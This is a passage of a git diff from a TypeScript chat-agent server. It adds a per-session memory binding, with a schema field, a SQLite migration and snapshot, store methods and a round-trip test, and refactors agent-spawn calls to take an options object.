"@tangent/shared/contracts.ts"; import { z } from "zod"; import { MAX_FILE_RESOURCE_BYTES } from "../../config.ts"; +import { memoryBindingSchema } from "../../pi/config/manifest.ts"; /** Decoded size of `content`: `base64` measures the bytes it decodes to. */ function decodedByteLength( @@ -82,6 +83,7 @@ export const createSessionSchema = z.object({ resources: z.array(hostResourceInputSchema).optional(), env: z.record(z.string(), z.string()).optional(), tags: z.array(z.string()).optional(), + memory: memoryBindingSchema.optional(), }); export type CreateSessionInput = z.infer; diff --git a/apps/server/src/routes/sessions/triggers.ts b/apps/server/src/routes/sessions/triggers.ts index 8c639333..9c00fa14 100644 --- a/apps/server/src/routes/sessions/triggers.ts +++ b/apps/server/src/routes/sessions/triggers.ts @@ -50,7 +50,7 @@ async function handleCreateTrigger( try { const trigger = triggers.create(session.id, session.rootPath, body); // Eagerly spawn the dedicated sub-agent so it exists before the first firing. - triggerEngine.provision(session.id, session.rootPath, trigger.id); + await triggerEngine.provision(session.id, session.rootPath, trigger.id); triggerEngine.afterChange(session.id, session.rootPath); res .status(201) diff --git a/apps/server/src/sockets/chat.test.ts b/apps/server/src/sockets/chat.test.ts index ca0d120f..0f80b3db 100644 --- a/apps/server/src/sockets/chat.test.ts +++ b/apps/server/src/sockets/chat.test.ts @@ -13,6 +13,7 @@ import { } from "@tangent/shared/contracts.ts"; import type { Socket } from "socket.io"; +import type { PrimeSpawnOptions } from "../pi/piAgentManager.ts"; import type { Membership } from "../store/membershipStore.ts"; import type { SessionAgent } from "../store/sessionStore.ts"; import { @@ -156,7 +157,7 @@ function primeAgent(homeConversationId: string): SessionAgent { test("a human message always ensures Prime, even when it targets a sub-agent thread", async () => { const primeHome = "conv-prime-home"; - const ensureCalls: unknown[][] = []; + const ensureCalls: PrimeSpawnOptions[] = []; const postCalls: { conversationId?: string }[] = []; const deps = { @@ -166,8 +167,12 @@ test("a human message always ensures Prime, even when it targets a sub-agent thr listAgents: async () => [primeAgent(primeHome)], }, pi: { - ensure: (...args: unknown[]) => { - ensureCalls.push(args); + ensure: async ( + _id: string, + _root: string, + options: PrimeSpawnOptions, + ) => { + ensureCalls.push(options); }, }, connectors: { list: () => [] }, @@ -190,7 +195,7 @@ test("a human message always ensures Prime, even when it targets a sub-agent thr await handleChatMessage(socket, deps, humanAuthor(OWNER), payload); assert.equal(ensureCalls.length, 1); - assert.equal(ensureCalls[0]?.[5], primeHome); + assert.equal(ensureCalls[0]?.homeConversationId, primeHome); assert.equal(postCalls[0]?.conversationId, "sub-1"); }); @@ -213,7 +218,7 @@ test("closing the last browser socket detaches presence without cancelling the s getArtifacts: async () => [], }, pi: { - ensure: () => {}, + ensure: async () => {}, listActivities: () => [], getAgentSelection: () => undefined, abort: () => { diff --git a/apps/server/src/sockets/chat.ts b/apps/server/src/sockets/chat.ts index 107703fa..9c11d44e 100644 --- a/apps/server/src/sockets/chat.ts +++ b/apps/server/src/sockets/chat.ts @@ -483,15 +483,10 @@ export async function handleChatMessage( // send that races `chat:join` (or arrives right after a backend restart) with // the seed id skips the ensure and falls through to the NullConnector refusal. const env = await store.getSessionEnv(session.id); - pi.ensure( - session.id, - session.rootPath, - undefined, - undefined, - undefined, - primaryConversationId, + await pi.ensure(session.id, session.rootPath, { + homeConversationId: primaryConversationId, env, - ); + }); await conversations.post({ sessionId: session.id, diff --git a/apps/server/src/sockets/sessionRoster.ts b/apps/server/src/sockets/sessionRoster.ts index 78bfa8f5..bd14cd3c 100644 --- a/apps/server/src/sockets/sessionRoster.ts +++ b/apps/server/src/sockets/sessionRoster.ts @@ -123,15 +123,12 @@ export async function ensureSessionAgents( session.id, ); const env = await store.getSessionEnv(session.id); - pi.ensure( - session.id, - session.rootPath, - undefined, + await pi.ensure(session.id, session.rootPath, { primeOverride, - session.user, - primaryConversationId, + user: session.user, + homeConversationId: primaryConversationId, env, - ); + }); const persistedAgents = await store.listAgents(session.id); connectors.revive(session.id, persistedAgents); } diff --git a/apps/server/src/store/db/migrations/0026_lazy_captain_cross.sql b/apps/server/src/store/db/migrations/0026_lazy_captain_cross.sql new file mode 100644 index 00000000..9348b0fa --- /dev/null +++ b/apps/server/src/store/db/migrations/0026_lazy_captain_cross.sql @@ -0,0 +1 @@ +ALTER TABLE `sessions` ADD `memory` text; \ No newline at end of file diff --git a/apps/server/src/store/db/migrations/meta/0026_snapshot.json b/apps/server/src/store/db/migrations/meta/0026_snapshot.json new file mode 100644 index 00000000..ff26862a --- /dev/null +++ b/apps/server/src/store/db/migrations/meta/0026_snapshot.json @@ -0,0 +1,1049 @@ +{ + "version": "6", + "dialect": "sqlite", + "id": "ef44c691-6163-4834-bb62-5c5dee6fbc3e", + "prevId": "3801445d-31c8-42c4-97f3-73df7f4a3630", + "tables": { + "bundle_editors": { + "name": "bundle_editors", + "columns": { + "email": { + "name": "email", + "type": "text", + "primaryKey": true, + "notNull": true, + "autoincrement": false + }, + "added_by": { + "name": "added_by", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "conversations": { + "name": "conversations", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "agent_id": { + "name": "agent_id", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "next_seq": { + "name": "next_seq", + "type": "integer", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": 1 + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "conversations_session_idx": { + "name": "conversations_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "conversations_session_agent_idx": { + "name": "conversations_session_agent_idx", + "columns": ["session_id", "agent_id"], + "isUnique": false + }, + "conversations_session_id": { + "name": "conversations_session_id", + "columns": ["session_id", "id"], + "isUnique": true + } + }, + "foreignKeys": { + "conversations_session_id_sessions_id_fk": { + "name": "conversations_session_id_sessions_id_fk", + "tableFrom": "conversations", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "memberships": { + "name": "memberships", + "columns": { + "participant_id": { + "name": "participant_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "reaction": { + "name": "reaction", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'never'" + }, + "muted": { + "name": "muted", + "type": "integer", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": false + }, + "ingress": { + "name": "ingress", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'reaction'" + }, + "admission": { + "name": "admission", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'queue'" + }, + "transcript_visibility": { + "name": "transcript_visibility", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'shared'" + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "memberships_session_conversation_idx": { + "name": "memberships_session_conversation_idx", + "columns": ["session_id", "conversation_id"], + "isUnique": false + }, + "memberships_session_conversation_participant": { + "name": "memberships_session_conversation_participant", + "columns": ["session_id", "conversation_id", "participant_id"], + "isUnique": true + } + }, + "foreignKeys": { + "memberships_session_id_sessions_id_fk": { + "name": "memberships_session_id_sessions_id_fk", + "tableFrom": "memberships", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "participants": { + "name": "participants", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "capabilities": { + "name": "capabilities", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'[]'" + }, + "presence": { + "name": "presence", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'connected'" + }, + "connector_kind": { + "name": "connector_kind", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "connector_lifecycle": { + "name": "connector_lifecycle", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "connector_environment_id": { + "name": "connector_environment_id", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "connector_endpoint_url": { + "name": "connector_endpoint_url", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "agent_payload": { + "name": "agent_payload", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "participants_session_idx": { + "name": "participants_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "participants_session_id": { + "name": "participants_session_id", + "columns": ["session_id", "id"], + "isUnique": true + } + }, + "foreignKeys": { + "participants_session_id_sessions_id_fk": { + "name": "participants_session_id_sessions_id_fk", + "tableFrom": "participants", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "reactor_state": { + "name": "reactor_state", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "autoincrement": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "participant_id": { + "name": "participant_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "home_conversation_id": { + "name": "home_conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "scope_key": { + "name": "scope_key", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "spec": { + "name": "spec", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "scope": { + "name": "scope", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "updated_at": { + "name": "updated_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "reactor_state_session_idx": { + "name": "reactor_state_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "reactor_state_session_participant_idx": { + "name": "reactor_state_session_participant_idx", + "columns": ["session_id", "participant_id"], + "isUnique": false + }, + "reactor_state_session_participant_scope": { + "name": "reactor_state_session_participant_scope", + "columns": ["session_id", "participant_id", "scope_key"], + "isUnique": true + } + }, + "foreignKeys": { + "reactor_state_session_id_sessions_id_fk": { + "name": "reactor_state_session_id_sessions_id_fk", + "tableFrom": "reactor_state", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "resource_grants": { + "name": "resource_grants", + "columns": { + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "participant_id": { + "name": "participant_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "resource_grants_conversation_participant_idx": { + "name": "resource_grants_conversation_participant_idx", + "columns": ["session_id", "conversation_id", "participant_id"], + "isUnique": false + }, + "resource_grants_conversation_participant_resource": { + "name": "resource_grants_conversation_participant_resource", + "columns": ["conversation_id", "participant_id", "resource_id"], + "isUnique": true + } + }, + "foreignKeys": { + "resource_grants_session_id_sessions_id_fk": { + "name": "resource_grants_session_id_sessions_id_fk", + "tableFrom": "resource_grants", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "resource_grants_resource_id_resources_id_fk": { + "name": "resource_grants_resource_id_resources_id_fk", + "tableFrom": "resource_grants", + "tableTo": "resources", + "columnsFrom": ["resource_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "resource_references": { + "name": "resource_references", + "columns": { + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "resource_references_conversation_idx": { + "name": "resource_references_conversation_idx", + "columns": ["session_id", "conversation_id"], + "isUnique": false + }, + "resource_references_conversation_resource": { + "name": "resource_references_conversation_resource", + "columns": ["conversation_id", "resource_id"], + "isUnique": true + } + }, + "foreignKeys": { + "resource_references_session_id_sessions_id_fk": { + "name": "resource_references_session_id_sessions_id_fk", + "tableFrom": "resource_references", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "resource_references_resource_id_resources_id_fk": { + "name": "resource_references_resource_id_resources_id_fk", + "tableFrom": "resource_references", + "tableTo": "resources", + "columnsFrom": ["resource_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "resources": { + "name": "resources", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "autoincrement": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "uri": { + "name": "uri", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "author_participant_id": { + "name": "author_participant_id", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "meta": { + "name": "meta", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "resources_session_idx": { + "name": "resources_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "resources_session_uri": { + "name": "resources_session_uri", + "columns": ["session_id", "uri"], + "isUnique": true + } + }, + "foreignKeys": { + "resources_session_id_sessions_id_fk": { + "name": "resources_session_id_sessions_id_fk", + "tableFrom": "resources", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "runs": { + "name": "runs", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "autoincrement": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "participant_id": { + "name": "participant_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "home_conversation_id": { + "name": "home_conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'running'" + }, + "ingress": { + "name": "ingress", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "external_id": { + "name": "external_id", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "cursor": { + "name": "cursor", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "updated_at": { + "name": "updated_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "ended_at": { + "name": "ended_at", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + } + }, + "indexes": { + "runs_session_idx": { + "name": "runs_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "runs_session_participant_idx": { + "name": "runs_session_participant_idx", + "columns": ["session_id", "participant_id"], + "isUnique": false + } + }, + "foreignKeys": { + "runs_session_id_sessions_id_fk": { + "name": "runs_session_id_sessions_id_fk", + "tableFrom": "runs", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "session_assets": { + "name": "session_assets", + "columns": { + "id": { + "name": "id", + "type": "integer", + "primaryKey": true, + "notNull": true, + "autoincrement": true + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "path": { + "name": "path", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "pinned_at": { + "name": "pinned_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "session_assets_session_idx": { + "name": "session_assets_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "session_assets_session_path": { + "name": "session_assets_session_path", + "columns": ["session_id", "path"], + "isUnique": true + } + }, + "foreignKeys": { + "session_assets_session_id_sessions_id_fk": { + "name": "session_assets_session_id_sessions_id_fk", + "tableFrom": "session_assets", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "session_views": { + "name": "session_views", + "columns": { + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "user_key": { + "name": "user_key", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "last_viewed_at": { + "name": "last_viewed_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": { + "session_views_session_idx": { + "name": "session_views_session_idx", + "columns": ["session_id"], + "isUnique": false + }, + "session_views_session_user": { + "name": "session_views_session_user", + "columns": ["session_id", "user_key"], + "isUnique": true + } + }, + "foreignKeys": { + "session_views_session_id_sessions_id_fk": { + "name": "session_views_session_id_sessions_id_fk", + "tableFrom": "session_views", + "tableTo": "sessions", + "columnsFrom": ["session_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "sessions": { + "name": "sessions", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "autoincrement": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "root_path": { + "name": "root_path", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'created'" + }, + "config": { + "name": "config", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "user_identity": { + "name": "user_identity", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "env": { + "name": "env", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "memory": { + "name": "memory", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "tags": { + "name": "tags", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "archived": { + "name": "archived", + "type": "integer", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": false + }, + "access_policy": { + "name": "access_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false, + "default": "'open'" + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "updated_at": { + "name": "updated_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + }, + "shared_folders": { + "name": "shared_folders", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "autoincrement": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + }, + "user_identity": { + "name": "user_identity", + "type": "text", + "primaryKey": false, + "notNull": false, + "autoincrement": false + }, + "created_at": { + "name": "created_at", + "type": "text", + "primaryKey": false, + "notNull": true, + "autoincrement": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "checkConstraints": {} + } + }, + "views": {}, + "enums": {}, + "_meta": { + "schemas": {}, + "tables": {}, + "columns": {} + }, + "internal": { + "indexes": {} + } +} diff --git a/apps/server/src/store/db/migrations/meta/_journal.json b/apps/server/src/store/db/migrations/meta/_journal.json index fc103e96..6a53b1a6 100644 --- a/apps/server/src/store/db/migrations/meta/_journal.json +++ b/apps/server/src/store/db/migrations/meta/_journal.json @@ -183,6 +183,13 @@ "when": 1793421867727, "tag": "0025_pretty_warpath", "breakpoints": true + }, + { + "idx": 26, + "version": "6", + "when": 1793422241629, + "tag": "0026_lazy_captain_cross", + "breakpoints": true } ] } diff --git a/apps/server/src/store/db/schema.ts b/apps/server/src/store/db/schema.ts index e74bd89f..514eafcb 100644 --- a/apps/server/src/store/db/schema.ts +++ b/apps/server/src/store/db/schema.ts @@ -32,6 +32,8 @@ export const sessions = sqliteTable("sessions", { userIdentity: text("user_identity"), /** Serialized session-scoped env vars injected into agent spawns (server-only). */ env: text("env"), + /** Serialized `MemoryBinding` for the session's pluggable memory (server-only). */ + memory: text("memory"), /** Serialized `string[]` of selector tags (e.g. `projectId:`) used to * route selector-scoped remote hosts to this session. */ tags: text("tags"), diff --git a/apps/server/src/store/inMemorySessionStore.ts b/apps/server/src/store/inMemorySessionStore.ts index cb4313c1..f289ceda 100644 --- a/apps/server/src/store/inMemorySessionStore.ts +++ b/apps/server/src/store/inMemorySessionStore.ts @@ -8,6 +8,7 @@ import { type ConnectorDescriptor, connectorFor, DEFAULT_SESSION_ACCESS_POLICY, + type MemoryBinding, type PinnedArtifact, type Session, type SessionConfigMeta, @@ -85,6 +86,8 @@ export class InMemorySessionStore implements SessionStore { private readonly sessions = new Map(); /** Server-only session env vars, never surfaced on the wire {@link Session}. */ private readonly envs = new Map>(); + /** Server-only per-session memory bindings, mirroring {@link envs}. */ + private readonly memories = new Map(); private readonly messages = new Map(); private readonly artifacts = new Map(); private readonly views = new Map>(); @@ -125,6 +128,21 @@ export class InMemorySessionStore implements SessionStore { return this.envs.get(id); } + async getSessionMemory(id: string): Promise { + return this.memories.get(id); + } + + async setSessionMemory( + id: string, + memory: MemoryBinding | undefined, + ): Promise { + if (memory) { + this.memories.set(id, memory); + } else { + this.memories.delete(id); + } + } + selectorsOf(id: string): string[] { return this.sessions.get(id)?.tags ?? []; } @@ -155,6 +173,7 @@ export class InMemorySessionStore implements SessionStore { this.sessions.set(id, session); if (input.env) this.envs.set(id, input.env); + if (input.memory) this.memories.set(id, input.memory); this.messages.set(id, []); await this.recordAgent(id, { id: PRIME_AGENT_ID, @@ -195,6 +214,7 @@ export class InMemorySessionStore implements SessionStore { async deleteSession(id: string): Promise { this.messages.delete(id); this.envs.delete(id); + this.memories.delete(id); for (const key of this.seqs.keys()) { if (key.startsWith(`${id}/`)) this.seqs.delete(key); } diff --git a/apps/server/src/store/sessionStore.ts b/apps/server/src/store/sessionStore.ts index 33f6d27a..88f009b9 100644 --- a/apps/server/src/store/sessionStore.ts +++ b/apps/server/src/store/sessionStore.ts @@ -3,6 +3,7 @@ import { type Capability, type ChatMessage, type ConnectorDescriptor, + type MemoryBinding, type PinnedArtifact, type Session, type SessionConfigMeta, @@ -55,6 +56,8 @@ export interface CreateSessionParams { env?: Record; /** Selector tags (e.g. `projectId:`) to route selector-scoped hosts. */ tags?: string[]; + /** The session's resolved memory binding (bundle default or create override). */ + memory?: MemoryBinding; } /** @@ -155,6 +158,17 @@ export interface SessionStore { * wire {@link Session}. */ getSessionEnv(id: string): Promise | undefined>; + /** + * The session's resolved {@link MemoryBinding}, or `undefined` when none was + * set (the memory resolver then falls back to the SimpleMD-only default). + * Server-only, like {@link getSessionEnv}. + */ + getSessionMemory(id: string): Promise; + /** Persists (or, with `undefined`, clears) the session's memory binding. */ + setSessionMemory( + id: string, + memory: MemoryBinding | undefined, + ): Promise; /** * A session's selector tags, read synchronously so the remote gateway's * hot-path routing can match a selector-scoped host without awaiting. Returns diff --git a/apps/server/src/store/sqliteSessionStore.test.ts b/apps/server/src/store/sqliteSessionStore.test.ts index 47ad327b..39c67471 100644 --- a/apps/server/src/store/sqliteSessionStore.test.ts +++ b/apps/server/src/store/sqliteSessionStore.test.ts @@ -58,6 +58,35 @@ test("getSessionEnv round-trips the stored env, and is undefined without one", a assert.equal((wire as unknown as { env?: unknown }).env, undefined); }); +test("getSessionMemory round-trips a binding; setSessionMemory sets and clears it", async () => { + const store = newStore(); + + const withMemory = await store.createSession({ + name: "with-memory", + memory: { kind: "pi-memory", root: "proj/pi-memory" }, + }); + assert.deepEqual(await store.getSessionMemory(withMemory.id), { + kind: "pi-memory", + root: "proj/pi-memory", + }); + + const plain = await store.createSession({ name: "no-memory" }); + assert.equal(await store.getSessionMemory(plain.id), undefined); + + await store.setSessionMemory(plain.id, { kind: "simple-md", root: "notes" }); + assert.deepEqual(await store.getSessionMemory(plain.id), { + kind: "simple-md", + root: "notes", + }); + + await store.setSessionMemory(plain.id, undefined); + assert.equal(await store.getSessionMemory(plain.id), undefined); + + // Memory is server-only: it never leaks onto the wire Session. + const wire = await store.getSession(withMemory.id); + assert.equal((wire as unknown as { memory?: unknown }).memory, undefined); +}); + test("the sessions table has a nullable env column", () => { const db = openDb(":memory:"); const columns = db.$client.prepare("PRAGMA table_info(sessions)").all() as { diff --git a/apps/server/src/store/sqliteSessionStore.ts b/apps/server/src/store/sqliteSessionStore.ts index 2e75765c..6c5a3ce9 100644 --- a/apps/server/src/store/sqliteSessionStore.ts +++ b/apps/server/src/store/sqliteSessionStore.ts @@ -7,6 +7,7 @@ import { type ChatMessage, connectorFor, DEFAULT_SESSION_ACCESS_POLICY, + type MemoryBinding, type PinnedArtifact, type Session, type SessionAccessPolicy, @@ -55,6 +56,11 @@ import { /** Id of the orchestrating Prime agent (mirrors `pi/types.ts`). */ const PRIME_AGENT_ID = "prime"; +/** Serializes an optional value for a nullable JSON column. */ +function jsonOrNull(value: unknown): string | null { + return value ? JSON.stringify(value) : null; +} + /** Maps a sessions row onto the wire {@link Session}, parsing the config JSON. */ function toSession(row: SessionRow): Session { return { @@ -182,6 +188,27 @@ export class SqliteSessionStore implements SessionStore { return JSON.parse(row.env) as Record; } + async getSessionMemory(id: string): Promise { + const row = this.db + .select({ memory: sessions.memory }) + .from(sessions) + .where(eq(sessions.id, id)) + .get(); + if (!row?.memory) return undefined; + return JSON.parse(row.memory) as MemoryBinding; + } + + async setSessionMemory( + id: string, + memory: MemoryBinding | undefined, + ): Promise { + this.db + .update(sessions) + .set({ memory: jsonOrNull(memory) }) + .where(eq(sessions.id, id)) + .run(); + } + selectorsOf(id: string): string[] { const cached = this.selectors.get(id); if (cached) return cached; @@ -231,8 +258,9 @@ export class SqliteSessionStore implements SessionStore { name: session.name, rootPath: session.rootPath, status: session.status, - userIdentity: session.user ? JSON.stringify(session.user) : null, - env: input.env ? JSON.stringify(input.env) : null, + userIdentity: jsonOrNull(session.user), + env: jsonOrNull(input.env), + memory: jsonOrNull(input.memory), tags: JSON.stringify(session.tags), archived: session.archived, accessPolicy: session.accessPolicy, diff --git a/apps/web/src/embed/runtime.ts 